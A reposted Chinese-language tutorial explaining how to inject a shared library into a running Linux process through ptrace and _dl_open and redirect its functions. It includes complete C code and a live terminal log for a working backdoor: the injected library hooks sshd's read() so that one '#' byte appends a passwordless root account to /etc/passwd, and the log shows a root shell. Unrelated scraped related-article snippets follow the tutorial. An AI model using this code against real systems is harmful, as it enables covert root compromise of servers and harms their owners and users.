linux dl_open hook

2023-11-08

分类: Linux 2012-07-23 21:30  385人阅读  评论(1)  收藏  举报

最近实在是太忙了.学校毕业的事情太麻烦,手续啥的,加上公司的事情..实在没心思写了.特转帖来做本系列的最终章...以后有时间空下来.再详细开帖阐述.

望见谅.....

共享库注射--injectso实例
作者:grip2 <gript2@hotmail.com>
日期:2002/08/16
内容:
    1 -- 介绍
    2 -- injectso -- 共享库注射技术
    3 -- injectso的工作步骤及实现方法
    4 -- 目标进程调试函数
    5 -- 符号解析函数
    6 -- 一个简单的后门程序
    7 -- 最后
    8 -- 参考文献
 一、 ** 介绍
本文介绍的是injectso技术,重点是使用现有技术去实际的完成一个injectso程序,
而不是侧重于理论上的探讨。这里希望你在阅读这篇文章的时候对ELF、inject有一
定的了解,当然你也可以选择在看完本文之后再去翻看相关的资料,也许这样能使你
更有针对性。需要说明的是,下面介绍的技术和给出的函数都是特定于X86下的linux
的,在其它环境下可能有一些需要改变的细节,但从基本的概念和步骤上讲应该是相
同的。

[separator]

二、 ** injectso -- 共享库注射技术
使用injectso技术,我们可以注射共享库到一个运行期进程,这里注射的意思就是通
过某种操作使我们的.so共享库在指定的进程中被装载,这样再配合上函数重定向或
其它技术,我们就可以捕获或改变目标进程的行为,可以做非常多的工作。同其它
inject技术相比,injectso的一些优点是:
1. 简单 -- 仅仅通过C代码就可以完成所有的工作;
2. 扩展性好 -- 在基础代码完成之后,如果要对程序功能进行增加、修改,仅需改动
.so共享库即可;
3. 干净 -- 对目标进程进行注射之后,不需要留下磁盘文件,使用的程序及共享库
都可以删除;
4. 灵活 -- 我们可以使用它完成很多工作,例如:运行期补丁、后门程序等;
5. 目标服务不需要重新启动;
6. 无须改动二进制文件;
7. 可以通过pax, openwall等这样的核心补丁。
 三、 ** injectso的工作步骤及实现方法
完成injectso需要以下几个步骤:
1. 关联到目标进程;
2. 发现装载共享库的函数,一般是_dl_open调用,我们将使用它装载我们的.so共享

3. 装载指定的.so;
4. 做我们想做的,一般是通过函数重定向来完成我们需要的功能;
5. 脱离进程;
下面简单介绍一下这几个步骤的实现方法,由于我们是对其它进程进行操作,因此
ptrace这个linux调试API函数将频繁的被我们使用,在<四>中,我将给出一些ptrace
包装函数。
步骤1 -- 关联进程
简单的调用ptrace(PTRACE_ATTACH,...)即可以关联到目标进程,但此后我们还
需调用waitpid()函数等待目标进程暂停,以便我们进行后续操作。详见<四>中给出
的ptrace_attach()函数。

步骤2 -- 发现_dl_open
通过遍历动态连接器使用的link_map结构及其指向的相关链表,我们可以完成
_dl_open的符号解析工作,关于通过link_map解析符号在phrack59包的p59_08(见参
考文献)中有详细的描述。

步骤3 -- 装载.so
    由于在2中我们已经找到_dl_open的地址,所以我们只需将此函数使用的参数添
入相应的寄存器,并将进程的eip指向_dl_open即可,在此过程中还需做一些其它操
作,具体内容见<四>中的call_dl_open和ptrace_call函数。

步骤4 -- 函数重定向
    我们需要做的仅仅是找到相关的函数地址,用新函数替换旧函数,并将旧函数的
地址保存。其中涉及到了PLT和RELOCATION,关于它们的详细内容你应该看ELF规范中
的介绍,在<四>中的函数中有PLT和RELOCATION的相关操作,而且在最后的例子中,
我们将实现函数重定向。关于函数重定向,相关资料很多,这里不再多介绍。

步骤5 -- 脱离进程
简单的调用ptrace(PTRACE_DETACH,...)可以脱离目标进程。


 四、** 目标进程调试函数

在linux中,如果我们要调试一个进程,可以使用ptrace API函数,为了使用起来更
方便,我们需要对它进行一些功能上的封装。
在p59_08中作者给出了一些对ptrace进行封装的函数,但是那太少了,在下面我给出
了更多的函数,这足够我们使用了。要注意在这些函数中我并未进行太多的错误检测
,但做为一个例子使用,它已经能很好的工作了,在最后的例子中你将能看到这一点


/* 关联到进程 */
void ptrace_attach(int pid)
{
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
        perror("ptrace_attach");
        exit(-1);
    }

    waitpid(pid, NULL, WUNTRACED);   
   
    ptrace_readreg(pid, &oldregs);
}

/* 进程继续 */
void ptrace_cont(int pid)
{
    int stat;

    if(ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {
        perror("ptrace_cont");
        exit(-1);
    }

    while(!WIFSTOPPED(stat))
        waitpid(pid, &stat, WNOHANG);
}

/* 脱离进程 */
void ptrace_detach(int pid)
{
    ptrace_writereg(pid, &oldregs);

    if(ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
        perror("ptrace_detach");
        exit(-1);
    }
}

/* 写指定进程地址 */
void ptrace_write(int pid, unsigned long addr, void *vptr, int len)
{
    int count;
    long word;

    count = 0;

    while(count < len) {
        memcpy(&word, vptr + count, sizeof(word));
        word = ptrace(PTRACE_POKETEXT, pid, addr + count, word);
        count += 4;

        if(errno != 0)
            printf("ptrace_write failed/t %ld/n", addr + count);
    }
}

/* 读指定进程 */
void ptrace_read(int pid, unsigned long addr, void *vptr, int len)
{
    int i,count;
    long word;
    unsigned long *ptr = (unsigned long *)vptr;

    i = count = 0;

    while (count < len) {
        word = ptrace(PTRACE_PEEKTEXT, pid, addr + count, NULL);
        count += 4;
        ptr[i++] = word;
    }
}

/*
 在进程指定地址读一个字符串
 */
char * ptrace_readstr(int pid, unsigned long addr)
{
    char *str = (char *) malloc(64);
    int i,count;
    long word;
    char *pa;

    i = count = 0;
    pa = (char *)&word;

    while(i <= 60) {
        word = ptrace(PTRACE_PEEKTEXT, pid, addr + count, NULL);
        count += 4;

        if (pa[0] == '/0') {
            str[i] = '/0';
        break;
        }
        else
            str[i++] = pa[0];

        if (pa[1] == '/0') {
            str[i] = '/0';
            break;
        }
        else
            str[i++] = pa[1];

        if (pa[2] == '/0') {
            str[i] = '/0';
            break;
        }
        else
            str[i++] = pa[2];

        if (pa[3] == '/0') {
            str[i] = '/0';
            break;
        }
        else
            str[i++] = pa[3];
    }
   
    return str;
}

/* 读进程寄存器 */
void ptrace_readreg(int pid, struct user_regs_struct *regs)
{
    if(ptrace(PTRACE_GETREGS, pid, NULL, regs))
        printf("*** ptrace_readreg error ***/n");

}

/* 写进程寄存器 */
void ptrace_writereg(int pid, struct user_regs_struct *regs)
{
    if(ptrace(PTRACE_SETREGS, pid, NULL, regs))
        printf("*** ptrace_writereg error ***/n");
}

/*
 将指定数据压入进程堆栈并返回堆栈指针
 */
void * ptrace_push(int pid, void *paddr, int size)
{
    unsigned long esp;
    struct user_regs_struct regs;

    ptrace_readreg(pid, &regs);
    esp = regs.esp;
    esp -= size;
    esp = esp - esp % 4;
    regs.esp = esp;

    ptrace_writereg(pid, &regs);

    ptrace_write(pid, esp, paddr, size);

    return (void *)esp;
}

/*
 在进程内调用指定地址的函数
 */
void ptrace_call(int pid, unsigned long addr)
{
    void *pc;
    struct user_regs_struct regs;
    int stat;
    void *pra;

    pc = (void *) 0x41414140;
    pra = ptrace_push(pid, &pc, sizeof(pc));

    ptrace_readreg(pid, &regs);
    regs.eip = addr;
    ptrace_writereg(pid, &regs);

    ptrace_cont(pid);

    while(!WIFSIGNALED(stat))
        waitpid(pid, &stat, WNOHANG);
}

上面给出的函数很简单,我想不需要更多的说明。但是,还有两个地方我想简单说一
下,第一个是在关联进程的函数和脱离进程的函数中对寄存器的操作是必须的,在注
射共享库的操作最后,我们需要恢复目标进程的寄存器内容,以使目标进程正常的恢
复到运行状态。第二个是在ptrace_call中的这处:
    pc = (void *) 0x41414140;
    pra = ptrace_push(pid, &pc, sizeof(pc));
在这里,我们将无效页面地址0x41414140压入目标进程堆栈,这样当程序执行完我们
指定的函数后,程序会产生错误中断,所以我们就又获得了对进程的控制权,可以继
续下面的操作。


 五、** 符号解析函数

因为我们需要对进程中的函数调用进行重定向,所以需要对一些函数符号进行解析。
下面给出了一些解析符号的函数,你可能会发现有些变量没有定义,这是因为它们是
全局变量,变量的类型应该很容易确定,如果你需要使用这些函数,只要简单声明全
局变量即可,如果有问题,也可与我联系。这些函数同样没有太多的错误检测,但是
作为例子,它们已足够良好的运行了。其中ELF相关的内容你也许不是很清楚,我想
认真阅读ELF规范对你很有帮助,结合ELF与下面的实例你应该能很快的理解符号解析

/*
 取得指向link_map链表首项的指针
 */
#define IMAGE_ADDR 0x08048000
struct link_map * get_linkmap(int pid)
{
    Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));       
    Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
    Elf32_Dyn  *dyn =  (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
    Elf32_Word got;
    struct link_map *map = (struct link_map *)
                                    malloc(sizeof(struct link_map));
    int i = 0;

    ptrace_read(pid, IMAGE_ADDR, ehdr, sizeof(Elf32_Ehdr));
    phdr_addr = IMAGE_ADDR + ehdr->e_phoff;
    printf("phdr_addr/t %p/n", phdr_addr);

    ptrace_read(pid, phdr_addr, phdr, sizeof(Elf32_Phdr));
    while(phdr->p_type != PT_DYNAMIC)
        ptrace_read(pid, phdr_addr += sizeof(Elf32_Phdr), phdr,
                                                      sizeof(Elf32_Phdr));
    dyn_addr = phdr->p_vaddr;
    printf("dyn_addr/t %p/n", dyn_addr);

    ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));
    while(dyn->d_tag != DT_PLTGOT) {
        ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
        i++;
    }

    got = (Elf32_Word)dyn->d_un.d_ptr;
    got += 4;
    printf("GOT/t/t %p/n", got);

    ptrace_read(pid, got, &map_addr, 4);
    printf("map_addr/t %p/n", map_addr);
    ptrace_read(pid, map_addr, map, sizeof(struct link_map));
   
    free(ehdr);
    free(phdr);
    free(dyn);

    return map;
}

/*
 取得给定link_map指向的SYMTAB、STRTAB、HASH、JMPREL、PLTRELSZ、RELAENT、RELENT信息
 这些地址信息将被保存到全局变量中,以方便使用
 */
void get_sym_info(int pid, struct link_map *lm)
{
    Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
    unsigned long dyn_addr;

    dyn_addr = (unsigned long)lm->l_ld;
   
    ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));
    while(dyn->d_tag != DT_NULL){
        switch(dyn->d_tag)
        {
        case DT_SYMTAB:
            symtab = dyn->d_un.d_ptr;
            //puts("DT_SYMTAB");
            break;
        case DT_STRTAB:
            strtab = dyn->d_un.d_ptr;
            //puts("DT_STRTAB");
            break;
        case DT_HASH:
            ptrace_read(pid, dyn->d_un.d_ptr + lm->l_addr + 4,
                                                           &nchains, sizeof(nchains));
            //puts("DT_HASH");
            break;
        case DT_JMPREL:
            jmprel = dyn->d_un.d_ptr;
            //puts("DT_JMPREL");
            break;
        case DT_PLTRELSZ:
            //puts("DT_PLTRELSZ");
            totalrelsize = dyn->d_un.d_val;
            break;
        case DT_RELAENT:
            relsize = dyn->d_un.d_val;
            //puts("DT_RELAENT");
            break;
        case DT_RELENT:
            relsize = dyn->d_un.d_val;
            //puts("DT_RELENT");
            break;
        }

        ptrace_read(pid, dyn_addr += sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
    }

    nrels = totalrelsize / relsize;

    free(dyn);
}

/*
 解析指定符号
 */
unsigned long  find_symbol(int pid, struct link_map *map, char *sym_name)
{
    struct link_map *lm = (struct link_map *) malloc(sizeof(struct link_map));
    unsigned long sym_addr;
    char *str;
   
    sym_addr = find_symbol_in_linkmap(pid, map, sym_name);
    if (sym_addr)
        return sym_addr;

    if (!map->l_next) return 0;

    ptrace_read(pid, (unsigned long)map->l_next, lm, sizeof(struct link_map));
    sym_addr = find_symbol_in_linkmap(pid, lm, sym_name);
    while(!sym_addr && lm->l_next) {
        ptrace_read(pid, (unsigned long)lm->l_next, lm, sizeof(struct link_map));

        str = ptrace_readstr(pid, (unsigned long)lm->l_name);
        if(str[0] == '/0')
            continue;
        printf("[%s]/n", str);
        free(str);

        if ((sym_addr = find_symbol_in_linkmap(pid, lm, sym_name)))
            break;
    }

    return sym_addr;
}

/*
 在指定的link_map指向的符号表查找符号,它仅仅是被上面的find_symbol使用
 */
unsigned long  find_symbol_in_linkmap(int pid, struct link_map *lm, char *sym_name)
{
    Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
    int i;
    char *str;
    unsigned long ret;

    get_sym_info(pid, lm);
   
    for(i = 0; i < nchains; i++) {
        ptrace_read(pid, symtab + i * sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));

        if (!sym->st_name || !sym->st_size || !sym->st_value)
            continue;

/*    因为我还要通过此函数解析非函数类型的符号,因此将此处封上了
        if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
            continue;
*/
        str = (char *) ptrace_readstr(pid, strtab + sym->st_name);
        if (strcmp(str, sym_name) == 0) {
            free(str);
            str = ptrace_readstr(pid, (unsigned long)lm->l_name);
            printf("lib name [%s]/n", str);
            free(str);
            break;
        }
        free(str);
    }


    if (i == nchains)
        ret = 0;
    else
        ret =  lm->l_addr + sym->st_value;

    free(sym);

    return ret;
}

/* 查找符号的重定位地址 */
unsigned long  find_sym_in_rel(int pid, char *sym_name)
{
    Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
    Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
    int i;
    char *str;
    unsigned long ret;

    get_dyn_info(pid);
    for(i = 0; i< nrels ;i++) {
        ptrace_read(pid, (unsigned long)(jmprel + i * sizeof(Elf32_Rel)),
                                                                 rel, sizeof(Elf32_Rel));
        if(ELF32_R_SYM(rel->r_info)) {
            ptrace_read(pid, symtab + ELF32_R_SYM(rel->r_info) *
                                               sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));
            str = ptrace_readstr(pid, strtab + sym->st_name);
            if (strcmp(str, sym_name) == 0) {
                free(str);
                break;
            }
            free(str);
        }
    }

    if (i == nrels)
        ret = 0;
    else
        ret =  rel->r_offset;

    free(rel);

    return ret;
}

/*
 在进程自身的映象中(即不包括动态共享库,无须遍历link_map链表)获得各种动态信息
 */
void get_dyn_info(int pid)
{
    Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
    int i = 0;

    ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
    i++;
    while(dyn->d_tag){
        switch(dyn->d_tag)
        {
        case DT_SYMTAB:
            puts("DT_SYMTAB");
            symtab = dyn->d_un.d_ptr;
            break;
        case DT_STRTAB:
            strtab = dyn->d_un.d_ptr;
            //puts("DT_STRTAB");
            break;
        case DT_JMPREL:
            jmprel = dyn->d_un.d_ptr;
            //puts("DT_JMPREL");
            printf("jmprel/t %p/n", jmprel);
            break;
        case DT_PLTRELSZ:
            totalrelsize = dyn->d_un.d_val;
            //puts("DT_PLTRELSZ");
            break;
        case DT_RELAENT:
            relsize = dyn->d_un.d_val;
            //puts("DT_RELAENT");
            break;
        case DT_RELENT:
            relsize = dyn->d_un.d_val;
            //puts("DT_RELENT");
            break;
        }

        ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
        i++;
    }

    nrels = totalrelsize / relsize;

    free(dyn);
}

上面的函数可能较<四>中的复杂了一些,但是它们也是容易理解的,这需要你对ELF
有一定的了解,我无法在这里解释更多的关于ELF内容,最好的和最有效的办法是你
去阅读规范,文后的参考文献中给出了下载地址。


 六、** 一个简单的后门程序

有了上面介绍的函数,现在我们可以很容易的编写出injectso程序,下面让我们来写
一个简单后门程序。首先,我们回想一下前面介绍的injectso工作步骤,看看我们是
否已经有足够的辅助函数来完成它。第1步,我们可以调用上面给出的ptrace_attach()
完成。第2步,可以通过find_symbol()找到_dl_open的地址。第3步我们可以调用
ptrace_call()来调用_dl_open,但是要注意_dl_open定义为'internal_function',
这说明它的传递方式是通过寄存器而不是堆栈,这样看来在调用_dl_open之前还需做一
些琐碎的操作,那么我们还是把它封装起来更好。第4步,函数重定向,我们可以通过
符号解析函数和RELOCATION地址获取函数找到新老函数地址,地址都已经找到,那替换
它们只是一个简单的操作了。第5步,仅仅调用ptrace_detach就可以了。OK,看来所有
的步骤我们都可以很轻松的完成了,只有3还需要个小小的封装函数,现在就来完成它:

void call_dl_open(int pid, unsigned long addr, char *libname)
{
    void *pRLibName;
    struct user_regs_struct regs;

    /*
      先找个空间存放要装载的共享库名,我们可以简单的把它放入堆栈
     */
    pRLibName = ptrace_push(pid, libname, strlen(libname) + 1);

    /* 设置参数到寄存器 */
    ptrace_readreg(pid, &regs);
    regs.eax = (unsigned long) pRLibName;
    regs.ecx = 0x0;
    regs.edx = RTLD_LAZY;
    ptrace_writereg(pid, &regs);

    /* 调用_dl_open */
    ptrace_call(pid, addr);
    puts("call _dl_open ok");
}

到这里所有的基础问题都已经解决(只是相对而言,在有些情况下可能需要解决系统
调用或临界区等问题,本文没有涉及,但是我们的程序依然可以很好的执行),现在
需要考虑的我们做一个什么样的后门程序。为了简单,我打算作一个注射SSH服务的
后门程序。我们只需要重定向read调用到我们自己的newread,并在newread中加入对
读取到的内容进行判断的语句,如果发现读到的第一个字节是#号,我们将向/etc/passwd
追加新行"injso::0:0:root:/root:/bin/sh/n",这样我们就有了一个具
有ROOT权限的用户injso,并且不需要登陆密码。根据这个思路来建立我们的.so:

[root@grip2 injectso]# cat so.c
#include <sys/types.h>
#include <stdio.h>

ssize_t  (*oldread)(int fd, void *buf, size_t count);

ssize_t  newread(int fd, void *buf, size_t count)
{
    ssize_t ret;
    FILE *fp;
    char ch = '#';   

    ret = oldread(fd, buf, count);   

    if (memcmp(buf, (void *)&ch, 1) == 0) {
        fp = fopen("/etc/passwd", "a");
        fputs("injso::0:0:root:/root:/bin/sh/n", fp);
        fclose(fp);
    }

    return ret;
}
我们来编译它
[root@grip2 injectso]# gcc -shared -o so.so -fPIC so.c -nostdlib

好了,我们已经有了.so,下面就仅剩下main()了,让我们来看看:
[root@grip2 injectso]# cat injso.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "p_elf.h"
#include "p_dbg.h"

int main(int argc, char *argv[])
{
    int pid;
    struct link_map *map;
    char sym_name[256];
    unsigned long sym_addr;
    unsigned long new_addr,old_addr,rel_addr;

    /* 从命令行取得目标进程PID
    pid = atoi(argv[1]);

    /* 关联到目标进程 */
    ptrace_attach(pid);
   
    /* 得到指向link_map链表的指针 */
    map = get_linkmap(pid);                    /* get_linkmap */

    /* 发现_dl_open,并调用它 */
    sym_addr = find_symbol(pid, map, "_dl_open");        /* call _dl_open */
    printf("found _dl_open at addr %p/n", sym_addr);   
    call_dl_open(pid, sym_addr, "/home/grip2/me/so.so");    /* 注意装载的库地址 */   
   

    /* 找到我们的新函数newread的地址 */
    strcpy(sym_name, "newread");                /* intercept */
    sym_addr = find_symbol(pid, map, sym_name);
    printf("%s addr/t %p/n", sym_name, sym_addr);

    /* 找到read的RELOCATION地址 */
    strcpy(sym_name, "read");               
    rel_addr = find_sym_in_rel(pid, sym_name);
    printf("%s rel addr/t %p/n", sym_name, rel_addr);

    /* 找到用于保存read地址的指针 */
    strcpy(sym_name, "oldread");               
    old_addr = find_symbol(pid, map, sym_name);
    printf("%s addr/t %p/n", sym_name, old_addr);

    /* 函数重定向 */
    puts("intercept...");                    /* intercept */
    ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));
    ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));
    ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr));
    puts("injectso ok");

    /* 脱离进程 */
    ptrace_detach(pid);

    exit(0);
}

现在所有的工作都已经做好,你需要的是把上面介绍的函数都写到自己的.c程序文件
中,这样就可以编译了,我们来编译它
[root@grip2 injectso]# gcc -o injso injso.c p_dbg.c p_elf.c -Wall
[root@grip2 injectso]# ls
injso injso.c make p_dbg.c p_dbg.h p_elf.c p_elf.h so.c so.so

ok,启动ssh服务,并开始注射
[root@grip2 injectso]# /usr/sbin/sshd
[root@grip2 injectso]# ps -aux|grep sshd
root       763  0.0  0.4  2676 1268 ?        S    21:46   0:00 /usr/sbin/sshd
root      1567  0.0  0.2  2004  688 pts/0    S    21:57   0:00 grep sshd
[root@grip2 injectso]# ./injso 763
phdr_addr     0x8048034
dyn_addr     0x8084c2c
GOT         0x80847d8
map_addr     0x40016998
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
lib name [/lib/i686/libc.so.6]
found _dl_open at addr 0x402352e0
call _dl_open ok
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
[/lib/ld-linux.so.2]
[/home/grip2/me/so.so]
lib name [/home/grip2/me/so.so]
newread addr     0x40017574
DT_SYMTAB
jmprel     0x804ac9c
read rel addr     0x8084bc0
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
[/lib/ld-linux.so.2]
[/home/grip2/me/so.so]
lib name [/home/grip2/me/so.so]
oldread addr     0x40018764
intercept...
new_addr 0x401fc530
injectso ok

注射成功,测试一下,看看效果,可以在任何机器上telnet被注射机的22端口,
并传送一个#号
$ telnet 127.0.0.1 22
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-1.99-OpenSSH_2.9p2
#         <-------------------我们输入#号,并回车
Protocol mismatch.
Connection closed by foreign host.

看看后门是否起作用了,登陆系统:
localhost login: injso
Last login: Sat Aug 17 21:58:40 from :0
sh-2.05#
OK,得到了ROOT,测试成功。


七、** 最后

在学习injectso的过程中,我阅读了一些相关的资料,但是我发现可能是由于injectso中
涉及到的某些技术已经非常成熟和普及,因此很难找到一个从整体上完整的描述injectso
的文章,你能发现的是很多的文章都只是对其中的某一个技术环节进行探讨,这样对初学
者而言,就不容易去完整的理解injectso,也就不能很快的去应用它。为了扫除这个障碍,
我写了这篇文章,当然由于水平有限,文章的重点也仅仅是放在提供一点思路帮助你去快
速的建立一个injectso上,而对相关的技术没有深入的探讨,不是不可以在这里介绍,而
是感觉实在是有点班门弄斧,更好的技术文章很多,象injectso3.ppt就很不错,我建议你
去仔细的阅读它。

最后,如果您对本文有什么意见或建议,请EMAIL给我,我也很希望知道您的看法。
希望更多的交流 -- E-mail <gript2@hotmail.com>


八 ** 参考文献

http://packetstormsecurity.nl/mag/phrack/phrack59.tar.gz

http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt

ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz

http://www.big.net.au/~silvio/lib-redirection.txt

http://online.securityfocus.com/data/library/subversiveld.pdf

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

linux dl_open hook 的相关文章

  • WordPress 添加新的用户挂钩

    我想添加一些自定义字段以在 Wordpress 中添加新用户 我正在使用以下钩子 show user profile edit user profile 这些挂钩在编辑个人资料页面上显示新的自定义字段 但我希望新的自定义字段显示在 添加新用
  • 更改 emacs 文本模式的边距

    我发现根据自己的喜好更改 emacs 中的边距而又不会出现滑稽的情况的唯一方法是 add hook window configuration change hook lambda set window margins car get buf
  • 如何添加在所有 cron 作业之前运行的 pre-hook 和 post-hook 脚本?

    假设我有以下 cron 条目 bin date 现在假设我想要在 cron 作业运行之前和之后运行的脚本 我可以将 cron 条目修改为如下所示 bin prehook bin date bin posthook 或者 如果我想要 preh
  • Git:更新后挂钩,运行需要访问存储库中所有文件的脚本

    我现在遇到了一些困境 因为我需要一个脚本来运行 每当远程存储库更新时 即 每当有人运行 git Push 从存储库中的文件构建包 然后 这些包被放置到 git 服务器上的一个目录中 该目录通过 HTTP 公开给客户端以供将来使用 问题是 我
  • 如何在 WordPress 中设置动态 `home` 和 `siteurl`?

    我使用动态配置多语言设置locale筛选 其中获取子域名来确定语言 function load custom language locale get the locale code according to the sub domain n
  • WordPress 预览_帖子_链接

    我试图在 WordPress 上发布时更改默认的 预览帖子 按钮 因为该网站安装了被黑客入侵的 WordPress 并且帖子预览不在应有的位置 我找到了钩子preview post link现在我只是想弄清楚如何制作一个小插件来解决这个问题
  • 挂钩 Python 中的每个函数调用

    我有一个庞大的代码库 其中包含数千个函数 我想在每次函数调用之前和之后 函数启动和结束时启用代码执行 有没有一种方法可以在不重新编译 Python 或向每个函数添加代码的情况下完成此操作 有没有办法挂钩我的代码中的每个函数调用 是的 您可以
  • 基于Git的网站部署工作流程

    在我的服务器上 我有两个用户 www data 由 nginx 使用 和git The git用户拥有一个包含我网站代码的存储库 并且www data用户拥有该存储库的克隆 用作 nginx 的 Webroot 我想建立一个工作流程 以便推
  • 注册一个全局钩子,检测鼠标是否拖动文件/文本

    我知道有可能为鼠标注册全局钩子 http www codeproject com KB cs globalhook aspx移动 按钮单击 滚动等 但我想知道是否有任何方法可以检测用户是否实际上使用全局挂钩拖动文件或文本 或其他内容 似乎找
  • 如何为钩子创建蹦床函数

    我对挂钩很感兴趣 我决定看看是否可以挂钩一些函数 我对使用 detours 这样的库不感兴趣 因为我想拥有自己做的经验 通过我在互联网上找到的一些资源 我能够创建下面的代码 这是基本的 但效果还不错 然而 当挂钩由多个线程调用的函数时 它被
  • 用于挂钩进程函数的 Linux 模块

    我有一个问题 也许你有一些关于这方面的信息 我想在运行进程中挂钩套接字接收函数 recv 并修改传入数据 我怎么知道 我可以使用内核模块来做到这一点 但我找不到有关如何执行此类挂钩的信息 我尝试过其他方法 例如 Netfilter ipta
  • Git commit hook - 如何使用 commit-msg 挂钩检查消息中的字符串?

    我需要创建一个 commit msg 挂钩来检查提交消息的任何部分是否包含 app asana 我搜索了一些参考资料和文档 我知道我需要为此使用 commit msg 我必须使用 Perl 或 Bash 来完成此操作 有人对此有线索吗 或者
  • 在 Mac OS X 中获取进程创建通知

    我正在尝试为 Mac OS X 编写 kext 当任何进程启动时都会收到通知 在 Windows 中 您可以通过调用 PsSetLoadImageNotifyRoutine 并指定在进程启动时调用的回调来完成此操作 这是有记录的方式 它适用
  • LD_PRELOAD 和 strace 有什么区别?

    这两种方法都用于收集系统调用及其参数和返回值 当我们更愿意LD PRELOAD为什么 也许我们可以说我们只能通过以下方式收集系统调用strace但我们可以收集图书馆的电话LD PRELOAD诡计 然而 还有另一个库的跟踪器 其名称是ltra
  • 用于阻止大于 20MB 的提交的预提交挂钩

    是否可以为 SVN 1 8 编写 prcommit 挂钩以避免提交大于 20MB 的文件 任何建议 将不胜感激 谢谢 我尝试过 但这不适用于二进制文件或其他文件扩展名 filesize SVNLOOK cat t TXN REPOS f w
  • 键盘挂钩获取组合键(WPF)

    我尝试在这里使用这篇文章 在 WPF C 中使用全局键盘钩子 WH KEYBOARD LL https stackoverflow com questions 1639331 using global keyboard hook wh ke
  • 使用主题函数在 body 标记后插入代码

    我试图在开头添加一段代码everyDrupal 站点中的页面 因为我有不止一个page模板 我想以编程方式执行此操作 但没有成功 我还是个新手 虽然我了解了钩子 主题函数等的要点 但我只是想不出实现这一目标的正确方法 到目前为止我已经覆盖了
  • 詹金斯钩子不工作 - 詹金斯位桶

    您好 我正在使用 jenkins 和 bitbucket 当我向 bitbucket 存储库提交任何内容时 我想触发 jenkins 中的构建 在詹金斯 我创建了一个名为test 1 在配置部分Build Triggers我勾选的部分Tri
  • 如何在另一个应用程序中挂钩 api 调用

    我正在尝试挂钩另一个应用程序的 ExtTextOut 和 DrawTextExt GDI 方法调用 我知道我需要使用 GetProcAddress 来查找 gdi32 dll 中那些方法的地址 并用我的函数的地址覆盖我想要挂钩的进程中的地址
  • Windows C++ 中的键盘钩子还是什么?

    我希望构建自己的应用程序 它可以将键盘命令 消息 发送到 Windows 操作系统 例如 当我按下组合键 ctrl shift n 时 我希望启动 notepad exe 我怎样才能做到这一点 您对所使用的概念有什么建议吗 我读过 何时使用

随机推荐

  • all query identities do not appear in gallery

    问题描述 在reid strong baslline使用Market 1501数据集训练reid模型后 使用自己的数据集仿照Market 1501制作相同格式的数据集 训练时报如下错误 查看原因 Martet 1501中Query和gall
  • python中安装完virtualenv,创建虚拟环境时报错'virtualenv' 不是内部或外部命令,也不是可运行的程序

    创建虚拟环境包时会报 virtualenv 不是内部或外部命令 也不是可运行的程序 错误 首先排除是否是单词拼写错误 在网上查了好久都没有自己出现的那种情况 可以成功安装 通过pip list 查询时显示安装成功 但会有两行黄色字 大致意思
  • gradle各版本下载地址

    http blog csdn net wangqjpp article details 52218314 gradle各版本下载地址 http services gradle org distributions 以前都是手动下载gradle
  • C语言的整型溢出问题

    整型溢出有点老生常谈了 bla bla bla 但似乎没有引起多少人的重视 整型溢出会有可能导致缓冲区溢出 缓冲区溢出会导致各种黑客攻击 比如最近OpenSSL的heartbleed事件 就是一个buffer overread的事件 在这里
  • wx.getUserProfile使用方法

    1 单独使用 wx getUserProfile desc 展示用户信息 声明获取用户个人信息后的用途 后续会展示在弹窗中 请谨慎填写 success res gt console log res this setData userInfo
  • SymPy Tutorial(译)

    小记 2020 2 26 本文是翻译 官方SymPy手册指南 只是为了方便而自己翻译 前言 本教程假设读者已经了解Python编程语言的基础知识 如果您还没有掌握 建议学习官方的Python教程 本教程假设您具有良好的数学背景 大多数例子需
  • 学习pyqt (二)————信号/槽&主次界面&主次线程编程经验总结

